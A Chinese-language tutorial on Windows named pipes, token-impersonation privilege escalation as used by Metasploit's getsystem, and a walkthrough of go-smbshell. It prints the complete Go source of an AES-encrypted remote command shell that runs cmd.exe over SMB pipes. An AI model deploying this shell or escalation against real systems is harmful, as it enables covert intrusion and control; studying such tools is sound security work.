管道簡述 管道并不是什么新鮮事物,它是一項古老的技術,,可以在很多操作系統(tǒng)(Unix,、Linux、Windows 等)中找到,,其本質是是用于進程間通信的共享內存區(qū)域,,確切的的說應該是線程間的通信方法(IPC),。 顧名思義,,管道是一個有兩端的對象。一個進程向管道寫入信息,,而另外一個進程從管道讀取信息,。進程可以從這個對象的一個端口寫數(shù)據(jù),,從另一個端口讀數(shù)據(jù)。創(chuàng)建管道的進程稱為管道服務器(Pipe Server),,而連接到這個管道的進程稱為管道客戶端(Pipe Client),。 在 Windows 系統(tǒng)中,存在兩種類型的管道: “匿名管道”(Anonymous pipes)和“命名管道”(Named pipes),。匿名管道是基于字符和半雙工的(即單向),;命名管道則強大的多,它是面向消息和全雙工的,,同時還允許網(wǎng)絡通信,,用于創(chuàng)建客戶端/服務器系統(tǒng)。 這兩種管道的主要區(qū)別: 命名管道:可用于網(wǎng)絡通信,;可通過名稱引用,;支持多客戶端連接;支持雙向通信,;支持異步重疊 I/O ,。 匿名管道:單向通信,只能本地使用,。由于匿名管道單向通信,,且只能在本地使用的特性,一般用于程序輸入輸出的重定向,,如一些后門程序獲取 cmd 內容等等,,在實際攻擊過程中利用不過,因此就不過多展開討論,,有興趣可以自行檢索相關信息,。
命名管道 定義與特點命名管道是一個具有名稱,可在同一臺計算機的不同進程之間或在跨越一個網(wǎng)絡的不同計算機的不同進程之間,,支持可靠的,、單向或雙向的數(shù)據(jù)通信管道。 命名管道的所有實例擁有相同的名稱,,但是每個實例都有其自己的緩沖區(qū)和句柄,,用來為不同客戶端提供獨立的管道。 任何進程都可以訪問命名管道,,并接受安全權限的檢查,,通過命名管道使相關的或不相關的進程之間的通訊變得異常簡單。 用命名管道來設計跨計算機應用程序實際非常簡單,,并不需要事先深入掌握底層網(wǎng)絡傳送協(xié)議(如 TCP,、UDP、IP、IPX)的知識,。這是由于命名管道利用了微軟網(wǎng)絡提供者(MSNP)重定向器通過同一個網(wǎng)絡在各進程間建立通信,,這樣一來,應用程序便不必關心網(wǎng)絡協(xié)議的細節(jié),。
任何進程都可以成為服務端和客戶端雙重角色,,這使得點對點雙向通訊成為可能。在這里,,管道服務端進程指的是創(chuàng)建命名管道的一端,,而管道客戶端指的是連接到命名管道某個實例的一端。 總結一下: 1.命名管道的名稱在本系統(tǒng)中是唯一的,。 2.命名管道可以被任意符合權限要求的進程訪問,。 3.命名管道只能在本地創(chuàng)建。 4.命名管道是雙向的,,所以兩個進程可以通過同一管道進行交互,。 5.多個獨立的管道實例可以用一個名稱來命名。例如幾個客戶端可以使用名稱相同的管道與同一個服務器進行并發(fā)通信,。 6.命名管道的客戶端可以是本地進程(本地訪問:\.pipePipeName)或者是遠程進程(訪問遠程: \ServerName\pipePipeName),。 7.命名管道使用比匿名管道靈活,服務端,、客戶端可以是任意進程,,匿名管道一般情況下用于父子進程通訊。 查看管道列表 在 windows 系統(tǒng)中,,列出管道列表的方法有很多,。這里列舉幾種常見的查看方式。 powershell 使用 powershell 列出管道列表需要區(qū)分版本,,V3 以下版本的 powershell 只能使用: [System.IO.Directory]::GetFiles('\\.\\pipe\\')
V3 及以上版本的 powershell 還可以使用:
chrome 使用 chrome 查看管道列表,,只需在地址欄輸入,注:部分系統(tǒng)可能不支持 chrome 查看管道列表
其他工具 可以使用Process Explorer的Find-Find Handle or DLL功能查找名為DeviceNamedPipe
或者還可以使用 Sysinternals 工具包中的 pipelist.exe 等工具,。
在windows 中命名管道的通信方式是: 1.創(chuàng)建命名管道 --> 2.連接命名管道 --> 3.讀寫命名管道
創(chuàng)建 管道服務器無法在另一臺計算機上創(chuàng)建管道,,因此 CreateNamedPipe 必須使用句點.作為服務器名稱,如以下示例所示,。
管道名稱字符串可以包含反斜杠以外的任何字符,,包括數(shù)字和特殊字符。整個管道名稱字符串最多可以包含 256 個字符,。管道名稱不區(qū)分大小寫,。 服務端的整個創(chuàng)建過程如下:
(一)服務端進程調用 CreateNamedPipe 函數(shù)來創(chuàng)建一個有名稱的命名管道,在創(chuàng)建命名管道的時候必須指定一個命名管道名稱(pipe name),。 因為 Windows 允許同一個本地的命名管道名稱有多個命名管道實例,,所以,,服務器進程在調用 CreateNamedPipe 函數(shù)時必須指定最大允許的實例數(shù)(0 -255),如果 CreateNamedPipe 函數(shù)成功返回后,,服務器進程得到一個指向一個命名管道實例的句柄。 (二)然后,,服務器進程就可以調用 ConnectNamedPipe 來等待客戶的連接請求,,這個 ConnectNamedPipe 既支持同步形式,又支持異步形式,,若服務器進程以同步形式調用 ConnectNamedPipe 函數(shù),,(同步方式也就是如果沒有得到客戶端的連接請求,則會一直等到有客戶端的連接請求)那么,,當該函數(shù)返回時,,客戶端與服務器之間的命名管道連接也就已經(jīng)建立起來了。 (三)在已經(jīng)建立了連接的命名管道實例中,,服務端進程就會得到一個指向該管道實例的句柄,,這個句柄稱之為服務端句柄。 管道的訪問方式相當于指定管道服務端句柄的讀寫訪問,,下表列出了可以使用 CreateNamedPipe 指定的每種訪問方式的等效常規(guī)訪問權限:
如果管道服務器使用 PIPE_ACCESS_INBOUND 創(chuàng)建管道,,則該管道對于管道服務器是只讀的,對于管道客戶端是只寫的,。 如果管道服務器使用 PIPE_ACCESS_OUTBOUND 創(chuàng)建管道,,則該管道對于管道服務器是只寫的,對于管道客戶端是只讀的,。 用 PIPE_ACCESS_DUPLEX 創(chuàng)建的管道對于管道服務器和管道客戶端都是可以讀/寫的,。 同時,管道客戶端使用 CreateFile 函數(shù)連接到命名管道時必須在 dwDesiredAccess 參數(shù)中指定一個和管道服務端(創(chuàng)建管道時指定的訪問模式)相兼容的訪問模式,。 例如,,當管道服務端創(chuàng)建管道時指定了 PIPE_ACCESS_OUTBOUND 訪問模式,那么,,管道客戶端就必須指定 GENERIC_READ 訪問模式,。 更多內容內容可以參考,微軟官方說明: https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-open-modes
模擬令牌
命名管道還有一種常用的操作,,就是通過模擬令牌,,達到提權的目的。大家都用過msf里面的getsystem命令,,其中就有一個模塊支持通過模擬令牌從本地管理員權限提升到system權限,。
我們首先需要了解如何模擬另一個用戶。模擬是Windows提供的一種方法,,在該方法中,,進程可以模擬另一個用戶的安全內容。例如,如果FTP服務器的進程允許用戶進行身份驗證,,并且只希望允許訪問特定用戶擁有的文件,,則該進程可以模擬該用戶帳戶并允許Windows強制實施。 Windows提供了這樣的API,,ImpersonateNamedPipeClient API調用是getsystem模塊功能的關鍵,。 ImpersonateNamedPipeClient允許命名管道模擬客戶端的服務器端。調用此函數(shù)時,,命名管道文件系統(tǒng)會更改調用進程的線程,,以開始模擬從管道讀取的最后一條消息的安全內容。只有管道的服務器端可以調用此函數(shù),。 例如,,如果屬于“受害者”的進程連接并寫入屬于“攻擊者”的命名管道,則攻擊者可以調用ImpersonateNamedPipeClient模擬“受害者”的令牌,,從而模擬該用戶,。進程必須擁有SeImpersonatePrivilege特權(身份驗證后模擬客戶端)。默認情況下,,此特權僅對許多高特權用戶可用
getsystem工作方式: 1.首先getsystem會創(chuàng)建一個新的windows服務,,并以local system權限運行,在啟動時連接到命名管道,。 2.getsystem再產(chǎn)生一個進程,,該進程創(chuàng)建一個命名管道并等待服務的連接。 3.Windows服務啟動并連接到產(chǎn)生的進程的命名管道,。 4.進程接收連接,,并調用ImpersonateNamedPipeClient,通過模擬令牌獲取system權限,。 Go實現(xiàn)命名管道流量通信源碼學習 這個項目是通過命名管道來進行流量傳輸,,并且是通過AES來對流量加密。 https://github.com/neox41/go-smbshell
目錄結構如下: - agent - agent.go #定義了兩個方法,一個是Connect用來連接服務器 Command用來連接成功之后進行命令執(zhí)行,。
- cmd - client - main.go # 客戶端入口 - server - main.go # 服務端入口
- config - config.go # 定義了aes加密的key 和 PipeName
- exec - command.go # 用來執(zhí)行命令,,調用os/exec來執(zhí)行系統(tǒng)命令
- listener - smb.go # 實現(xiàn)了服務端進行命名管道監(jiān)聽
- transport - communication.go # 實現(xiàn)了AES加密,傳入msg和key即可
- vendor - github.com - mervick - aes-everywhere - gopkg.in - natefinch - npip.v2 #這個是實現(xiàn)了pipe通訊的包
首先看config里面的config.go,這個比較簡單,,也就是定了PipeName和AES加密的Key package config
// 定義PipeName 為 gopipe const ( PipeName = 'gopipe' )
//這個是定義aes的key var ( Key string )
transport 包里面的communication.go,,這個是對傳送的消息進行AES256加密,這里調用了github里面aes-everywhere的這個包,,用法如下,。對于Go原生的AES加密,這個只要傳入明文密文加Key即可對其加解密,。 https://github.com/mervick/aes-everywhere
import 'github.com/mervick/aes-everywhere/go/aes256'
// encryption encrypted := aes256.Encrypt('TEXT', 'PASSWORD')
// decryption decrypted := aes256.Decrypt(encrypted, 'PASSWORD')
communication.go里面的實現(xiàn)就是調用config并且把config.Key作為Key傳入到Decoder/Encoder進行加解密,。 package transport
import ( 'go-smbshell/config'
'github.com/mervick/aes-everywhere/go/aes256' )
// 對傳輸?shù)牧髁窟M行AES加密,,這個方法是調用aes-everywhere來調用 aes256 加密,傳入message和key即可 func Decoder(encodedMessage string) (cleartextMessage string) { cleartextMessage = aes256.Decrypt(encodedMessage, config.Key) return }
func Encoder(cleartextMessage string) (encodedMessage string) { encodedMessage = aes256.Encrypt(cleartextMessage, config.Key) return }
exec包里面的 command.go 實現(xiàn)了Shell方法,,調用os/exec來執(zhí)行命令并且輸出出來,。 package exec
import ( 'os/exec' )
// 定義 Shell執(zhí)行命令,連接成功之后就可以調用這個方法來執(zhí)行命令 func Shell(args string) string { cmd := exec.Command('cmd.exe', '/c', args) out, err := cmd.CombinedOutput() if err != nil { return err.Error() } return string(out) }
listener 包 里面的 smb.go 實現(xiàn)了服務端進行命名管道監(jiān)聽和對連接來的客戶端進行處理,,并且需要,。這里實現(xiàn)命名管道通訊是調用了npipe,github地址如下,。 https://github.com/natefinch/npipe
在官方文檔的例子中,,有寫出建立監(jiān)聽的代碼,。和網(wǎng)絡編程差不多,,這里就是監(jiān)聽本地,并且?guī)螾ipeName即可,,本地進程(本地訪問:\.pipePipeName),。
npipe.Listen(`\\.\pipe\mypipename`)
監(jiān)聽功能創(chuàng)建服務器: ln, err := npipe.Listen(`\\.\pipe\mypipename`) if err != nil { // handle error } for { conn, err := ln.Accept() if err != nil { // handle error continue } go handleConnection(conn) }
源代碼如下,本質上和網(wǎng)絡編程的服務器方的代碼編寫差不多,。 package listener
import ( 'bufio' 'fmt' 'log' 'net' 'strings'
'go-smbshell/config' 'go-smbshell/exec' 'go-smbshell/transport'
'gopkg.in/natefinch/npipe.v2' )
//開始監(jiān)聽pipe,,這里只要加入PipeName即可,接下來的操作就和網(wǎng)絡編程差不多了 func Start() error { ln, err := npipe.Listen(fmt.Sprintf('\\\\.\\pipe\\%s', config.PipeName)) if err != nil { return err } for { log.Println('Wait for client...') //使用pipe的Listen來進行監(jiān)聽并且等待客戶端連接 conn, err := ln.Accept() //如果連接不成功的話就會continue等待下一個連接 if err != nil { log.Println(err.Error()) continue } defer ln.Close() log.Println('Agent connected') //連接成功之后就go一個匿名的協(xié)程來對客戶端的反饋進行操作 go func() { defer conn.Close() for { r := bufio.NewReader(conn) commandE, err := r.ReadString('\n') if err != nil { continue } //介紹到客戶端的請求數(shù)據(jù)并且對其進行解密 command := transport.Decoder(commandE) log.Println(fmt.Sprintf('Asked to run: %s', command)) //如果命令是close的話就會推出程序 if command == 'close' { break } //TrimSpace函數(shù)刪除了Unicode定義的所有前和尾空格 command = strings.TrimSpace(command) //對客戶端返回回來的命令進行解密和處理之后在go一個協(xié)程來對其命令進行執(zhí)行操作。 go func(conn net.Conn) { output := exec.Shell(command) //對服務器返回的命令執(zhí)行結果進行加密,在放到conn里面進行發(fā)送 if _, err := fmt.Fprintln(conn, transport.Encoder(fmt.Sprintf('Output for %s:\n%s', command, output))); err != nil { log.Println(err.Error()) } }(conn) } }() } return nil }
需要注意的是npipe.v2 包作者已經(jīng)給出了相關的導入方法,,所以這里的包分子是需要按照作者給出的gopkg.in/natefinch/npipe.v2 來進行創(chuàng)建在導入
agent包里面的agent.go,,這個包是對客戶的操作的實現(xiàn)。這個包的代碼里面需要有調用npipe.Dial()方法,。該方法是連接Pipe管道即遠程進程(訪問遠程:\ServerName\pipePipeName) npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName))
當連接到了Pipe命名管道之后就會調用Command()方法來發(fā)送命令和獲取命令,。 package agent
import ( 'bufio' 'fmt' 'go-smbshell/config' 'go-smbshell/transport' 'net'
'gopkg.in/natefinch/npipe.v2' )
var ( Conn net.Conn PipeName string Target string )
//使用 npipe 來進行連接通訊,流量都包裹在smb流量中,,并且進行aes256加密 func Connect(target string) error { var err error // 連接方法就是 \\\\target\\pipe\\config.PipeName // 例如\\\\192.168.1.110\\pipe\\config.PipeName,這個就是里面smb流量連接192.168.1.110 Conn, err = npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName)) if err != nil { return err } PipeName, Target = config.PipeName, target return nil }
func Command(command string) { //利用Fprintln將加密之后的command放入到Conn中 if _, err := fmt.Fprintln(Conn, transport.Encoder(command)); err != nil { fmt.Println(err.Error()) return } //從連接中獲取數(shù)據(jù),,并且放入到output中。由于output是進行加密的,,然后在進行解密即可,。 r := bufio.NewReader(Conn) output, err := r.ReadString('\n') if err != nil { fmt.Println(err.Error()) return } fmt.Println(transport.Decoder(output)) }
cmd包里面有server和client,這兩個即使服務端和客戶端了,。下面就是客戶端的源代碼,。首先需要在命令行傳入兩個參數(shù),一個是連接的IP,,一個就是AES加密的Key,。接著在調用agent.Connect()方法來連接命名管道。 下面的這一行代碼就是從os.Stdin 也就是終端輸入中獲取需要執(zhí)行的命令,。 reader := bufio.NewReader(os.Stdin)
接著下面的代碼就是挺簡單的了,,拿到終端輸入的需要執(zhí)行的命令之后進行for循環(huán),,需要用戶來循環(huán)操作進入一個交互式的模式,最后調用agent.Command()方法,,該方法實現(xiàn)了發(fā)送和回顯執(zhí)行命令的結果,。 package main
import ( 'bufio' 'fmt' 'log' 'os' 'strings'
'go-smbshell/agent' 'go-smbshell/config' )
func main() { if len(os.Args) < 3 { fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0])) os.Exit(1) } target := os.Args[1] config.Key = os.Args[2] if err := agent.Connect(os.Args[1]); err != nil { log.Panic(err) } log.Println(fmt.Sprintf('Connected to %s', target)) reader := bufio.NewReader(os.Stdin) for { fmt.Print('cmd >> ') userInput, _ := reader.ReadString('\n') userInput = strings.TrimSpace(strings.Replace(userInput, '\n', '', -1)) if len(userInput) <= 1 { continue } if userInput == 'exit' { os.Exit(1) } agent.Command(userInput) } }
server包里面實現(xiàn)的就比較簡單了,調用 listener.Start(),,因為已經(jīng)實現(xiàn)了監(jiān)聽和處理客戶端請求了,。只需要傳入對于的AES加密的Key即可。 package main
import ( 'fmt' 'log' 'os'
'go-smbshell/config' 'go-smbshell/listener' )
func main() { if len(os.Args) < 2 { fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0])) os.Exit(1) } config.Key = os.Args[1] log.Println('Starting the listener...') if err := listener.Start(); err != nil { log.Panic(err) } }
這樣就已經(jīng)實現(xiàn)完成了利用命名管道進行通訊的C/S架構的C2控制了,。
不顯示中文的話只需要切換重點的編碼即可,,輸入chcp65001即可顯示中文。
使用Wireshark來進行抓包可以查看到,,他的流量其實走的都是SMB協(xié)議,,并且他對里面執(zhí)行的內容進行了AES加密??梢钥吹较聢D,,這里有連接到命名管道,并且顯示了連接的PipeName,,這個在config.go里面定義為了gopipe
|